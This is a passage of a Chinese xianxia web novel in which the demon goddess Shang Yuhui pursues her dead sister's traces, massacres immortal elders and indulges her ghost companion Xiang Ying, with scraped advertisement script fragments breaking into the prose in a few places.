“琴,并不是越多越好,要找一把适合我的琴,我花了十年……” 商羽徽打断他的喃喃自语:“十年?你总共才活了几年?” 这事触及到相盈的伤心处,背对着商羽徽,他脸色大不好看,只听见商羽徽继续道:“你想要谁给你奚琴?或是看上谁的琴了,说一声就是,省得我好几日听不见你的琴声。” 这番话让相盈的面色几度变化,他将手中的琴弦布好,转身行至商羽徽的卧榻边。 “你只是习惯杀人,不知寻觅琴音的艰苦与妙处,”每回提起与琴相关的事,相盈那张漂亮的脸都会露出几分孤傲,“有缘时,我自会找到新的琴身。” “是吗?”商羽徽睁眼,撑着额头与他对视,“我姐姐曾有一把琴,无甚稀奇,但也是天生地养之物,如若我抢过来,你要不要?” 相盈果真犹豫。 商羽徽将他的游移不定看在眼里,耐心等他,相盈的眸色流转,最终归为平静:“我不能要,你也不会给我。” 被他猜对,商羽徽觉着没意思:“你连神器都不想要,只有你自己的琴能入眼。” 她抬手,眨眼间已将所有长簪摘下,作出要休憩的模样,相盈垂眼回避,对方却再度叫住他。 少年直愣愣站着,背挺得很直,清瘦的腰身,显得腰带过于宽大,似乎要系不住。 商羽徽眼神示意,见他没明白,遂拍了拍卧榻的另一半。 “上来呀。” 她在笑,就像当日杀了恶龙,也是这样无谓又散漫的笑容。 相盈不自觉和她对视。 在商羽徽的预想中,相盈或许会很抵触,毕竟他不爱讲话,何况同寝而眠,应当会令他自觉蒙受奇耻大辱。 谁让他猜中商羽徽的念头,没让她得逞? 相盈果然拒绝:“我不愿意。” 只不过,后半句与商羽徽所料不同。 “你有过别人,我不愿意。若是喜欢我,就只能有我。” 好一个铁骨铮铮的男鬼,商羽徽与他静望,好一会儿才轻声开口。 “你有这样喜欢我?”她困惑,“兴许这就是所谓情爱。有了情爱,就会生出私欲。这段时日,我又不曾见他们、碰他们,你闹什么性子。” “……”相盈将错就错,“我一想到你身边还有旁人,心底就不舒服。” 姝丽面容上,带了些怒色,也不知究竟是因她城中这些人,亦或是别的。总之,商羽徽看得很高兴,伸手摸了摸他的脸。 “你要一直这样好看。” 她回忆一番,抓来的一些美人,成日躲着她,论皮囊远不及相盈,遣散也无妨,有更好看的再抓就是了。 5. 醒来 既有了打算,商羽徽绝不拖泥带水,当即召来小妖为她传话,要将人全放了。 小妖迟疑:“可是,今日有两位想见您。” 被商羽徽抢来的美人平日里避她如蛇蝎,生怕她一不顺心就将性命取走,仅有少数人如相盈这样近过商羽徽身边,不过到头来还是一命呜呼。 有几个前例在眼前,众人怕她也不为奇,商羽徽本就对这些人有些厌倦,懒得多话。 今日听闻主动上门找她,她一时稀奇,让人将两个美人带上来。 人没到,相盈已冷了脸。 他很清楚这位天魔并非真心喜爱他,自己亦是在陪她半真半假演这一场戏,他不应当在乎她做什么,可还是觉着此举令人不悦。 商羽徽见他一张脸上满是阴冷的怨怒,毫无掩饰的神态,她心情大好地哄他:“见一见,看看他们要做什么。” 相盈只复述了一遍:“他们。” 这两个字从他唇齿之间溢出,耐人寻味,但他没了下文,并不再外露出那样的情绪,像先前那样挑选着合适的琴弦,默默不语。 商羽徽没管他,在榻上一直等到两位美人上前。 半柱香的功夫后,一妖一仙站在商羽徽跟前,商羽徽对这仙族略有些印象,似乎还是某个宗门的掌门,她路过海角崖时见他模样不错,将人顺手带回。 至于这妖怪,商羽徽既不记得他的来历,也不想再听要说什么,挥手就把他烧成一堆灰烬。 兴许她的眼光发生了转变,放在从前这妖还算能看,如今得了相盈,对比之下,商羽徽决意给这妖怪一个解脱。 她出手太快,也不讲缘由,男妖尚来不及呼救,已失去意识,变为烬墟飞散。 一旁的仙者面色凝重,本要说的话到了嘴边又停住,商羽徽转眸问他,他才回过神来。 “前几日,我见你与这……”仙者想不到该怎么称呼新来的男鬼,顿了一刻,“你二人出去了一趟。我亦来此许久,恐门中弟子不安,可否让我也回去看一眼?” 他来得倒巧,商羽徽允了:“走吧,你们通通都走。” 听出她话外之意,仙者仿若松了口气,想是归心似箭,道谢后就退下。 来了两个,只出去一个,商羽徽笑眯眯对相盈道:“这下好了,我还杀了一个,你不是爱看我杀人?过来歇息吧。” 桌案后的少年男鬼依旧不言,他擦了擦手,冷面走到卧榻旁,干脆又利落地躺了上去。 二人都未更衣,并肩歇在一块儿,高台之上偶有风吹过,商羽徽侧了侧身,主动抱住了他,而后闭上双目。 “……”相盈心道难道二人不是在冷战僵持? 按照她的身份,应当命令旁人主动抱她才是吧? 做了数百年的鬼,生前亦没有与人同寝的经历,不过无意中撞见过几回,相盈觉着很恶心,他不想做,也不愿。 就这般等了好一阵,商羽徽始终没有动作,只是将他抱得又紧了些。 衣衫堆叠,本是旖旎香艳的场景,相盈只有满腹狐疑和隐隐的不安。 然身边的人始终没有动作,相盈忍不住瞧了她一眼,却发觉对方当闭着眼,一脸要入睡的模样。 他暗自醒悟,于商羽徽而言,脾性好坏不重要,在足够美貌的前提下,众人都只是不一样的物件。 轻风吹动白纱,万籁俱寂。 常理之下,商羽徽无需入眠,更不会有梦,她累了才需要休憩,闭目过后,竟真的前往多年前的幻梦之境。 谁能入她的梦?自是她的姐姐青女。 茫茫焦土,黄河之上急浪汹涌,青女身着粗布麻衣,正在帮百姓修建水坝。 “妹妹。”青女背对着她,劝导,“无论重复多少次,人,永远不会改变。” 梦里,商羽徽上前帮忙,也应下了姐姐的话。 “是的,”她又道,“这不是凡人的错。” 见她似乎把话听进去几分,青女回身看向来。 乌黑的发,狭长而温柔的眼,含着些不容抗拒的威仪。 “你若真的这样想,那是最好。”替妹妹擦拭脸颊上的污泥,青女继续道,“天地阴阳,自有轮回,也许我们不该干预。恶与善,本就对立,若这世上没有妖,何来的仙?” 商羽徽抓住姐姐的手,若有所思:“不,若仙妖对立,那谁与我们对立?难道姐姐是神,我是……” “红女!” 未说完的话语,被梦境中百姓的呼救声打断,青女挣开她的手,临走前,只留下了一句:“不许再找天灵珠。” 她已消弭于天地,残留的神识还不忘入梦警戒自己,商羽徽眼睁睁看她走,而后在卧榻之上缓缓挣开双目。 又入夜了,无论天地如何转动,唯有头顶的日与月不会变,商羽徽看了太多次日升月落,早就厌倦不堪。 她侧身,发觉相盈仍听话躺在一旁,衣冠整洁,领口合得很严,仅有衣袖被她入梦时抓着,曲起褶皱,也很快被他抚平。 不见他反抗,但也一派如临大敌的架势,商羽徽这会儿心情不大美妙,眯起眸子问他:“你怕什么?” 他连死都不怕,倒怕旁人碰他几下。 相盈不曾入睡,他半撑起身子,青丝垂落成瀑,双眸中略有些怨怼。 “将我带来时,你不曾问我可愿意。” 这熟悉的话语,商羽徽听过不少,紧随而来的多是对她的控诉。 这些美人总是会强调自己在外有什么身份,怎么能因容貌而被抢来,往后他的颜面往哪里放,简直是欺人太甚之类的云云。 随后又会在得知商羽徽的来历后惧怕惊恐,以沉默反抗。 “我还道你有多痴心于我,原来,只不过把我当个摆设。” 相盈坐起身,理好长发与本就一丝不苟的衣物,他又一次收敛好情绪,只是告知:“喜欢一个人,并非这样。” “那是什么样?”商羽徽目色诚恳,陷入回忆,“难道是我与那位皇帝?还是与那小仙?” 早有猜测,相盈仍旧没忍住冷笑一声:“什么皇帝小仙?你心中无我。” 他不问她与从前那些侍宠究竟发生什么,只需要知道那些人结局唯有一死即可。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >商羽徽心生烦躁,不过看到他在夜色中若隐若现的面庞,还是忍耐下来。 “我把别人都送走,心里怎么就没你,”她哄了两句,“有你有你,你生得这样好看,我最疼你。” 相盈不信,又追问:“若是遇到姿色更甚者,你当如何?” 这没把商羽徽难倒,她莫名道:“这是你应当担心的,无需我思虑。” 到底是杀神一个,根本不懂情爱,学也学了个四不像,相盈只庆幸彼此无意,否则生怕要被她气死。 他的语气乖顺了些:“自然,我是得小心。只不过你所言所行,并非心意相通之人会做的。” “我为何要与你心意相通?”商羽徽也跟着从卧榻上坐起,她来回踱步,“喜欢不就好了?心意这种事如何相通?” 人与人的心意倘若真能相通,世间何来无休止的杀戮。 相盈不过是纸上谈兵,一时答不出话,良久,拢起的眉心才逐渐平缓。 “若要如你的姐姐与那位魔尊那般,自然就得互相知晓彼此的心意。”他将自己长久以来的揣测说出口,“你要效仿你姐姐,这些只是皮毛。” 商羽徽闻之色变,好在不见动怒,只是兀自伤神道:“可见情爱伤人。” 情爱二字相盈从不关切,他心道商羽徽也只是作壁上观,两人都聊得云里雾里。 她真的为那位神女伤心?相盈不解。 他问了句别的:“情爱伤人,你不知其中滋味,也没少动手。” 商羽徽拉起他的手:“这才杀了几个?走吧,我带你出去。” 两人法力悬殊,根本容不得相盈拒绝,只是不知商羽徽要带他去往何处,一路上风行雾动,再看清眼前景象,二人正处在黄河边上。 寻常百姓所见的黄河,与其余五界所见的大不相同。黄河自开天辟地后便留于人世间,周遭被养育的百姓唤这条河流为母亲。 于仙魔眼中,此地曾经也是修炼的宝地,因此汇聚不少妖魔鬼怪。 自空桑来后,旁人就不敢踏足此地,商羽徽飘然落地,是方杜先有所感应,前来问候。 “主上,您怎么亲自前来?” 岸中涛声徐徐,河流平缓,灵力却微弱不可闻。商羽徽没有理会方杜,撇下二人,上前对着焦黄大地唤了一声。 “浊悬。” “浊悬……” 须臾,河岸上,远远传来轰鸣之声,大地震动,足底黄泥变得稀软湿润,众人飞身立在空中,垂首望去,就见这些黄泥堆砌成山,显出人形。 是个女人,碎石与流泥塑成她的上半身,其余躯干仍旧牢牢地与大地融为一体。 水流从她头顶涓涓向下,瞧起来像是长发。 她的身躯依然庞大,旁人仿若蝼蚁,自带的威压让相盈与方杜连退两步,不敢直视。 商羽徽上前,将披帛掷出,化出一条目光森然的蛇头,凑近浊悬,与她打招呼。 沉睡许久的黄河之母终于认出她的身份,伸出挂满泥浆的手臂。 “红女。”浊悬声音飘忽,仿佛来自云端,“你醒来了。” 6. 孩子 古旧的神总习惯用真身示人,商羽徽习以为常,却苦了一同在此的方杜和相盈。 无形的压迫自四面八方涌来,让人非但不敢直视,双腿也趋于本能想要跪拜。 方杜勉强好些,尚能维持表面的镇静,相盈为了抵抗这威压,连连退后,还是没忍住,侧过脸咽了咽血沫。 浊悬有所感知,却并未放在心上。 她凝神屏息,在开口时,状似感慨:“青女消逝了,你因此而醒来?” 即便沉睡多年,依旧对天地之间的变化如此敏锐,商羽徽飞身上前:“没错,姐姐吞下了天灵珠。” 话语间,她直视着浊悬的瞳孔。 那双瞳孔的其中一只溃烂成漆黑一片,另一只如河流旋涡般浑浊,黄泥自她面庞上掉落,宛若泪珠,让这张可怖的脸有些悲悯之色。 “天灵珠,还不至摧毁她。”浊悬将头颅靠近商羽徽,了然,“是为了封印你,她留了一半功法在你神识之上。” 商羽徽摇首:“一半功体,也足够她吸收天灵珠。” 青女实力如何,商羽徽最清楚不过,即便她只使出从青女那吸收来的功法,六界也不可能有人是她的对手。 浊悬沉吟:“凡神,为何争夺天灵珠?” 其中缘由,商羽徽从没问过,她化出一条蛇尾将方杜卷至浊悬的头颅旁,示意方杜开口。 “魔尊空桑想用天灵珠,打开归墟隧洞,召十万魔兵……”方杜低眉顺目,将仙魔大战的缘由讲述清楚,“神女不愿两界僵持,本想亲自保管天灵珠,可她与空桑彼此有情,仙界中有人不信她,神女不得已,吞下天灵珠永绝后患。” 来龙去脉并不复杂,亘古之久,相同的故事也发生过太多次。 浊悬听罢,只是惊讶:“青女对魔族有情?如今她的神体散落至何处?” 商羽徽叹道:“这正是我想问你的。天灵珠是不好找,可姐姐的神识消散,我竟也全无头目,以往她受重伤,我能察觉她是变为一滴朝露、或是一株野兰。且她功体受损之深,我亦想不出是何人能伤她至此。” 浊悬端详着商羽徽,倏然问道:“红女,你被封印了多少年?” 商羽徽道:“自我被砍去三条头颅,化作山脉,已有将近万年。” “万年前,我就已成了如此模样。”浊悬疲倦,在一声叹息中,重新融入河水与边岸中,她的话语愈发模糊,“或许,从未有人伤害青女,是她自己……” 是她自己什么?商羽徽看了眼身旁的方杜与相盈,若有所思。 方杜与相盈亦陷入沉默。 早已知晓商羽徽的来历,无论她使出什么样的法力,方杜只有艳羡,倒也都在意料之中。可今日前来,见到传闻中的古神,方杜思来想去,还是忍不住开口:“黄河之神竟是真的……我听闻过此地的神明一夜之间消逝,再也没有理会凡人的哀求,还道是有人杜撰出此神。” 三人还未离开,商羽徽也不怕被听见,负手直言:“她不爱世人。” 方杜不敢再问,只当自己是开了眼界,询问商羽徽是否要找空桑前来,被拒之后,自行离去。 商羽徽带着相盈离开,相盈发觉二人并非在前往栖云城,只他实在无力,难以开口询问。 他太弱了,弱到缓了好一阵还是唇色苍白,商羽徽看不下去,想给他渡些法力又怕他承受不住直接没命,只好握着他的手渡气。 这招约是见了些效果,相盈的脸色稍好一些,开口竟不是问去处。 “你找天灵珠做什么?”他对眼前人的神力认知很清晰,“你不需要那珠子召来魔兵借力,也不想称魔。” 商羽徽避而不答:“神魔仙妖,于你们而言是不得已的身份,在我看来只是一种选择。我如今不想做魔,兴许过几日又改主意了。” 她想一出是一出,相盈不怀疑有这样的可能,却仍旧感到哪里不对劲。 身边景色更换,分明是往仙域去,相盈眨了眨眼,问:“你打算去做什么。” 商羽徽轻飘飘回了一句:“杀一些人。” 在偏远之地飘零的男鬼,对于真正的杀戮没有任何概念,直到商羽徽重返仙域,将此地杀得满地猩红,相盈这才有了实感。 动手前,商羽徽丢下臂间长帛,这条锦带竟是一条神蛇,得了商羽徽的命令,护在相盈身旁。 仙域之内燃起不灭地火,一旦被点星火苗吞噬,很快就会在烈火焚身的痛苦中挣扎死去。 各派弟子在掌门催促下撤离,仅有几个德高望重的长老留在原处,等待商羽徽的到来。 上重天的云阶已被损毁,渡善元君想来救场也得掂量一番是否能承受住商羽徽的问责。 天际被火光映染成艳丽的赤色,商羽徽悬于空中,广袖翻动间,已隔着老远摘掉了一个白发老头的脑袋。 仙者有功法护体,更何况是德高望重的长者,但这老头死得就像一张被人撕碎的纸,其余的四肢也散落开。 见此惨状,众仙心知避无可避,前方一人咬牙上前:“不知红女前来,究竟因为何事大动干戈?” 商羽徽听到这个称呼很意外,实则她并未动怒,只是心头阴郁,想要泄愤。 她也不是毫无缘由,冲着下方几人问:“天灵珠由神女看守不好么?你们不信她。” 谈及此事,众长老面上浮出几分懊悔之意,试图向商羽徽一一解释:“多年来,神女守护苍生,教习仙术,我们自然不会起疑,也不敢起疑。可她与魔尊空桑有所牵连后,已一而再、再而三为那魔头暗中通融……纵使我们仙门弟子赌得起,黎明苍生却赌不起。” “通融?说说看。”商羽徽来了些兴致,寻了个高处坐下,示意他们娓娓道来。 那人立刻从头说起:“魔尊空桑生于六界恶念,一旦时机成熟,必将为祸一方,本就该扼杀!神女却说,世间善恶循环,若无恶念,何来的善心?若是因此杀掉一个尚在襁褓中的婴儿,未免不公。” 听起来是很像青女的做派,商羽徽此行径并不表态,只黯然道:“曾有一个这样的恶灵要诞生,姐姐也这样劝我。” 魔尊空桑原来不是开天辟地头一个?几个长老洗耳恭听,就听得商羽徽继续道:“但我没听姐姐的,直接掐死了那魔头。你们应当可惜我不在。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不知如何作答,众人彼此对望,老者继续道。 “空桑被神女救下来后,由神女抚养长大,”老者恐是难以启齿,又气愤咬牙,“神女将他爱护有加,当做自己的孩子,那空桑却……对神女……” 话说到此,商羽徽听明白其中的故事,忽然笑了起来。 而后示意相盈凑过来些,她一手搭在少年肩头,半掩着面庞,低声发笑。 漆黑的眼珠里,果真像在酝酿危险的情绪。 商羽徽笑得说不出话,相盈趁这间隙,说出自己的疑惑:“我只听闻魔尊空桑由魔族抚养长大。” 几位长老见相盈是个念灵,修为浅薄,也猜到他的身份,看在商羽徽的面子上,不得不将此事说清楚。 “此事甚大,不得不掩饰。神女向来慈悲,暗中点化过几个魔族,让其对外称空桑在他们手中,直到空桑那畜生有了不轨之心,不得不将其驱除。” 说到激愤处,老者顾不上实力悬殊,走上前,仰着脸愤慨道:“神女劝我们不要动手,由她亲手处置。第一回,她前去捉拿空桑,却让空桑逃入了魔域,我等见情形不对,一同前往,共结大阵,神女设下埋伏,引空桑出来,却是提前告知他,让他再次逃离……” “她说空桑不会害人,可空桑修行速度之快,不过半年就成了血债累累的魔头。” 没想到一时兴起的杀意,让她听见了这样的趣事,商羽徽好不容易止住笑意,深表同情:“这样说来,不怪你们难以信任她。” 相盈侧过脸观察她的神色,见她的笑意不似惺惺作态,更为疑惑。 她究竟是恨那位神女,还是不恨? 若她替天下百姓着想,如今又怎么会随心所欲地杀人? 相盈意识到,千万种谜团,成就了眼前的商羽徽。 得了商羽徽的谅解,几人暗中松了口气:“我们也不愿见到如今的场面。只是,任何事都可以由神女做决断,唯有此事不行,倘若她一时糊涂,就是六界的覆灭。” “如此说来,竟是我错怪你们。”她承认,“倒是我不好了。” 没料到能听得这种话,众人尚未分得清是喜是忧,却见眼前这位瘟神没了下文,她虽承认,却不担后果。 仙族本就在大战中损失惨重,今日又被这魔头折腾,一时之间众长老满心悲凉。 商羽徽见他们仍有期待,告知:“此地不必留了,我另有他用。” 言外之意,是饶他们一命,叫他们快些滚了…… 长者追了两步,又问:“神女曾嘱咐,若她神陨,不必苦寻,她不愿归来。此事当真?” 这样的事,商羽徽沉睡已久,难以答复,带着相盈转身离去。 相盈对外界事物向来不上心,被迫听了这些故事,神色格外古怪。 “原来魔尊对你姐姐是这样的感情,”相盈没说出什么难听的话,只哑然,“情同母子,怎么能……” 商羽徽走在他前头,指尖还燃着一簇火苗,她将其吹灭,而后说道:“姐姐定然不会多想,她创造过许多生命,我亦如此。” “许多年前,我曾有过一个女儿。” 7. 如愿 相盈将琴弦换好了,音色比之以往果然更妙,只可惜商羽徽勉强听个皮毛。 她心不在此,无法勉强。 相盈静坐于月台上,美目潋滟,出口却是一声叹息:“我在此弹一千年,一万年,又有何意义?你只知其表,不解其意。” 商羽徽:“成天幽幽怨怨,没完没了。” 再美的人也不能这样成日抱怨,商羽徽心道就看你还能作几回罢——她抬眸向对方凝去,就见相盈按着琴弦,墨发被风吹动,素身艳容,羽睫几乎要将落在他面上的月光搅乱。 摄人的容貌,令人目眩,商羽徽很快改了口:“好吧。” 想要人听他弹琴也不是难事,本就要迁居,商羽徽干脆提前带着相盈前往从前的仙域。 上回火烧扶桑洲后,周遭弟子都即刻启程搬离,更不谈重修之事。 此地被毁得太厉害,又无灵气,活脱脱是个烫手山芋,除开年长的修士们对此地有了感情,万般不舍,其余人一早就走了。 这块破烂地方在商羽徽的手掌中彻底被捏碎,尚存的楼宇宫殿也被被碾为尘泥,待她再翻过掌心,扶桑洲已重新化为平原。 相较于商羽徽的身份,这片平原简朴到不可思议,半死不活的溪流、稀稀拉拉的树林,枝叶毫无繁盛之意。 就连唯一能住人的房屋,也只是低矮一栋。 相盈对此并无意见,他只需要有个地方能弹琴即可,商羽徽就更懒得动脑子,二人在偌大的平原住下,她命令方杜放出消息,问是否有人想臣服于她。 风声一走漏,原本荒无人烟的扶桑洲,迎来了不少六界生灵,多是妖魔两界,慕名而来。 魔尊空桑疯了,魔族损失惨重,众人都需要一个新的指引。 复生的天魔,在外的名声尽管古怪,但实力毋庸置疑。 众妖魔前去时,本以为扶桑洲被天魔据为己有,应当另修了亭台楼宇,以显身份不同,然而只见简洁的院落旁,一唇红齿白的雪衣少年正垂首抚琴,传闻中的天魔站在他侧身,随意朝几人招了招手。 “你,可曾听得懂他的琴中意?” 几人对琴乐没有研究,摇了摇脑袋,眨眼间火苗已将他们的身躯吞噬。 目睹突如其来的惨状,在场之辈暗道不好,立刻萌生退意,正要悄然离去,骇然发觉扶桑洲被设下屏障结界,难以挣脱。 原本吵嚷的众魔几乎在瞬间就没了动静,伺机而动,观察着接下来要发生的事。 相盈眼睁睁看着几人被商羽徽烧死,指尖动作微顿。他的神色极其冷漠,甚至不愿正眼瞧人,很快收回视线,琴声复又重新奏起。 他当然能感觉到,那些人对他投来鄙夷、恐惧和探究的目光。 然而他们越是试图在他身上看出些什么,相盈就越是愉悦。 商羽徽一连问了几个,都不明白相盈在弹什么,直到一个青衣树妖上前,踌躇半晌,如实道:“这位……所弹的琴曲,是百年前的凡间曲子,本是思乡的哀愁乐曲,琴谱上改了几个音,听着喜庆些。” 为表自己当真听懂了,树妖又道:“奏曲之人,此刻心境大好。” 想必这般答复能算得上相盈的知音,商羽徽俯身,直视相盈的双眸:“这下如愿了?” 相盈先是不言语,瞧了眼那树妖,下巴微抬,竟是笑了起来,摇头:“他说错了。” 商羽徽只是不懂琴,而非愚笨,她自然听得出来琴音如何,也知晓这树妖没说错。 可相盈要闹性子,她只好手指一点,燃起另一团火焰。 众妖魔满心欢喜前来投靠却成了送死,一簇又一簇的火苗将他们的性命吞没。 无论答什么都极有可能会死,除非那弹琴的念灵松口。 在这压抑又煎熬的等待尽头,商羽徽只弯着腰,瞥向相盈似玉无暇的侧颜。 “你还不尽兴,”她仿佛对他格外好说话,“那就继续好了。” 相盈默不作声,观察着周遭人恐惧的神情,也知晓这一切威压都来自于商羽徽的力量。 她是如今这世间最特殊又最强大的存在,而自己是她唯一的特例。 他本不想承认,但这种感受实在很不错,哪怕是昙花一现,也让人上瘾。 正如那天夜里……商羽徽对自己无意,他再清楚不过,也知杀一个男人对她而言什么也证明不了。 可相盈就是想亲眼看看。 不是说喜欢么?这种转瞬即逝的观赏,究竟能为了哄他高兴做到什么地步? 也并不是全然的虚荣,相盈私心里还有一些恶意。 他死之前是个凡人,知道人情冷暖,唯独不曾体验过七情六欲;可商羽徽不一样,她的所作所为更像是兽类,有了人的皮囊,却无法感受多余的情感。 这一切,不是她试图体验的情爱,也不可能是。 相盈沉默的几息,面容上仍然冷淡,他很会克制自己的神情。活着时,是因身子虚弱,不宜大喜大悲,时日久了,就成了他的本能。 他对杀戮也毫无兴致,否则也不至于百年来丝毫不想着修炼。 杀戮无味,看商羽徽为了自己动手,却让他情难自禁,身心痛快。 想到此处,相盈干脆连装都不装了,停了手上的曲子,在一片寂静中,宣告了下一位倒霉鬼的下场。 商羽徽坐在他身边,撑着下巴:“没见过你这样脾性的。” 相盈作出受伤的模样,半真半假地问她:“你厌恶我了?” “不至于。”商羽徽很诚恳,“只是不那么光明磊落,但你所行之恶,还排不上号。” “你是说,我很卑鄙。” 相盈自语道,也不生气。倏然间没了兴致,不想再折腾。 他不想玩了,商羽徽也不再逗弄旁人,撤了结界,众魔顷刻消散逃命去了。 人都散了,相盈还看着琴弦,生气的模样也比往常那些男人好看许多。 清澈明了的情绪,怒意中复杂的想法代表了真实的他,商羽徽虽懒得弄明白,但总好过旁人对她永无止境的恐惧。 她没再继续哄他,就这样和他静望,是方杜打破了这般僵持。 方杜的彩翼已尽数长出,从乌鸦到凤凰的进化绝对是近千百年来的第一位,她跌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 跌撞撞扑落在院中,先是报喜:“空桑找到个女孩儿,长得很像神女。” 商羽徽抬头望天,算了算日子:“这么短的时日,姐姐就算要转世投胎也来不及。” 方杜只道:“实在是太像了,空桑还说她身上有神力的气息。” “当真?”找不到姐姐,找点蛛丝马迹也行,商羽徽起身要走,方杜又尴尬道:“那女孩儿与我们有些渊源。” 在商羽徽和相盈二人的示意下,方杜说完了一切。 “她叫丹荣,是海角崖连水宗的修士。她的宗主是……前些日子被您放走的那位仙者。” 仙者,哪个仙者?商羽徽想不起来,她掠走的仙家不少,一时半会儿真没想起来。 相盈出言提醒,声色发凉:“是那主动求见,说要离开的?” 方杜连连点头,商羽徽总算记起此人,陷入回忆。 见她如此,相盈冷笑一声。 二人的相处方杜看在眼里,恨不得冲上去用翅膀给这男鬼一个痛快。 来的路上,她听闻扶桑洲发生的事,心底很是忌恨相盈。 一个手无缚鸡之力的鬼,因皮相得了主上的青睐,竟能耍脾性到如此地步。 不过这样做也算变相让主上给六界警戒,方杜左思右想,心道说不定哪天这男鬼发疯,恃宠而骄,要求主上屠尽六界呢?这不是正合她意?遂只是将这种嫉妒和愤愤不平留在了心底。 海角崖,连水宗,是个小得不能再小的宗门。 算上失踪月余归来的掌门,总共就只有四个人,丹荣是最小的师妹。 商羽徽带着一鬼一鸦现身时,宗主面色大变。 宗门已来了一个魔尊空桑,怎么这天魔又大驾光临?误以为她要反悔,宗主暗中蓄力,可商羽徽却直接越过了他,停在丹荣身前。 丹荣瞧着只有十三、四岁,衣着素简,黑发简单扎成一个团,不见多余的装饰。 双目果真像极了青女,凤眼狭长,因年纪尚小,也不知来人身份,正茫然与商羽徽对视。 商羽徽极为罕见地陷入沉默,漫长无声。 好一会儿,商羽徽在诸多视线下承认:“是很像,也的确带了一缕神识。” “……但这不是姐姐,是……” 她否认了丹荣的身份,不愿说清楚,走出几步,才对空桑与其余几人道:“这并非姐姐的转世或化身,走吧。” 没找到曲意琅的线索,空桑走时仍不可置信:“怎么会有错?” 他走远了,商羽徽也不多留,行至海角崖的高处。 此地常年白雾成烟,时有跳珠,景色萧索,如梦似幻。 相盈站在她身旁,等她开口。 她曾说过有一个女儿,听她否认丹荣的身份时,相盈已有猜测。 古神的生育和繁衍多得是不同办法,相盈从未往别的地方想,但依然难以想象她的教导过程。 良久,商羽徽拨开一片云雾,话语中听起来有些庆幸。 “轮回那么多次,她早已忘了。当初我误以为自己的造物带来新的生机,其实……只有无尽的痛苦。” 8. 颜面 事关商羽徽的过去,相盈无意多问。 他曾以为百年已经足够长久,但在她面前,显然只是不足挂齿的弹指一瞬。 以他的所见,恐怕无法替她分忧。 商羽徽认为他的想法很奇怪:“百年足够长久,活得太长,未免太老。” 相盈坐在她身旁拢起眉心,适时道:“妖鬼怎么会老?” “容貌不变,心境也会苍老许多。”商羽徽有时羡慕,“凡人十七八岁正是最好的日子。” 无知又无畏,有着最年轻的皮囊,她见过不少人临了前总会反复想起这样几乎无所不能的岁月。 商羽徽就没有这样的机会,自她初次踏足这片土地,就已是随心所欲。 这话却戳到了相盈痛处:“……我正是病死于十七岁的冬夜。” 那就更没错了,商羽徽伸手轻抚他的面容,被戳到伤处后,相盈眼睫微垂,陷入回忆,整个人也恹恹倚在在案侧,似芙蓉落瓣,叫人怜惜。 她情真意切,深色瞳仁凝着他,不知要说什么深情话语。 “十七岁,死得正是时机。” 相盈勉强抬起眸,只是笑了一笑。 他没使性子,商羽徽又躺上卧榻,示意他一起上来。 相盈不愿:“琴还没好好用过几回,我要去谱曲。” 龙筋是自己亲手所掏出,放着不用倒显得她的行为多余,商羽徽颔首,独自闭目休养。 期间相盈的琴声断断续续婉转入耳,他不闹脾气,认真奏曲,乐曲是要比从前更妙,商羽徽听着只觉这声声琴音细腻缠绵,如他一样心眼子多。 再起身时,又是晨光初白,天色略显阴沉,雾雾蒙蒙,不一会儿,果真落了绵绵细雨。 商羽徽走至窗边,眺望一看,便见几人站在院子的远处,术法也不敢用,顶着雨不知等了多久。 她已忘了先前发生过的事,些许诧异:“你们是谁?” 又问:“为何刻意淋雨?” 相盈一夜不曾合眼,带着些倦意走到她身旁,顺着她的目光往外看去:“这是你选来,听我弹琴的仆人。” “仆人,”商羽徽念了一遍,心想这个词不好,“是知音才对,何来仆从一说?” 话音刚落,她又在相盈脸上瞧见那种难以言述的神色,就像那日月台上,他等待她杀掉那个男人。 果不其然,相盈不与她争辩,而是望向窗外:“你们自己说究竟是何身份?” 几妖已目睹过为博美人一笑的惨况,既不敢得罪相盈,更不敢惹怒商羽徽,上前几步朗声:“只要能为您效力,无论是何身份都是荣幸。” 说话间,商羽徽已步行至院中,挥手隔绝周遭雨水。 她此刻心情尚可,沉吟半晌,诚恳发问:“留在我身边,又能做什么?” 几个妖魔互相推搡,不知如何作答。 “主人有此神力,应立马向其余几界出兵,”想起此魔神力与功体,说话的人迟疑,“至少,从前的魔尊都如此。” “可我不是魔,”他们不清楚这些,商羽徽只是提醒,并无责怪的含义,“还做些什么?” 说到此处,几人答起来得心应手:“早些年,魔尊空桑布兵施阵,还会安排人手潜入仙族。魔族也要自内向外排查是否有奸细。至于平日里,就是练兵修行,以备不时之需。” 语毕,旁听的相盈也笑了一声,柔和秀美的脸上,出现些嘲弄之色,而后转身回了房里。 商羽徽没管他,一脸若有所思的模样,不一会儿,几个小妖反应过来了。 空桑需要人手和魔兵,归根到底是因实力还无法完全碾压。 但若是眼前这样的人物,武力值睥睨六界,倘若全然放弃思考,不采取任何谋略,凭着本能动手,也能杀得旁人心服口服…… 如此实力,何须他们这样的追随者?反倒碍事。 想到此处,不禁要为自己的去留捏了把汗,几人忐忑等待她的安排。 商羽徽只能留着他们用作原本的用途:“你们哄他高兴就好了,听他弹琴奏曲。” 这差事不好做,那男鬼也不是个好相处的,不过总比当场没命要好。 几人领命下去。 商羽徽对征战六界毫无兴趣,是因她早已试过了。留下这几人只是为了堵上相盈的嘴,省得他成日里孤芳自赏,好似她虐待他。 几妖留在了扶桑洲,却没地方住,从前的魔尊大多居于魔域,大殿瑰丽气魄,如今的天魔爱好独特,几个小妖没办法,动手给自己搭建房屋。 商羽徽对这一点还算满意:“你看,我对你还不好?他们连住的地方都没有。” 先行一步回房的相盈静声:“你明知他几人是我随意挑选,还说是我的知音。” 只不过是略懂一些皮毛的小卒。 相盈不认为自己身份高贵,是不是仆人于他而言也无不同,可他就是不想从商羽徽口中听见她为旁人解围。 不应如此。 他一时不愿细想,索性将心头这些事又搁置一旁,收起昨夜写好的琴曲,独自歇下。 商羽徽留着方杜去跟着空桑,事实上她并不常用得到二人,反倒时常独自外出。 寂寥的扶桑洲,除了几个小妖造屋的动静,就只剩下相盈的琴声。 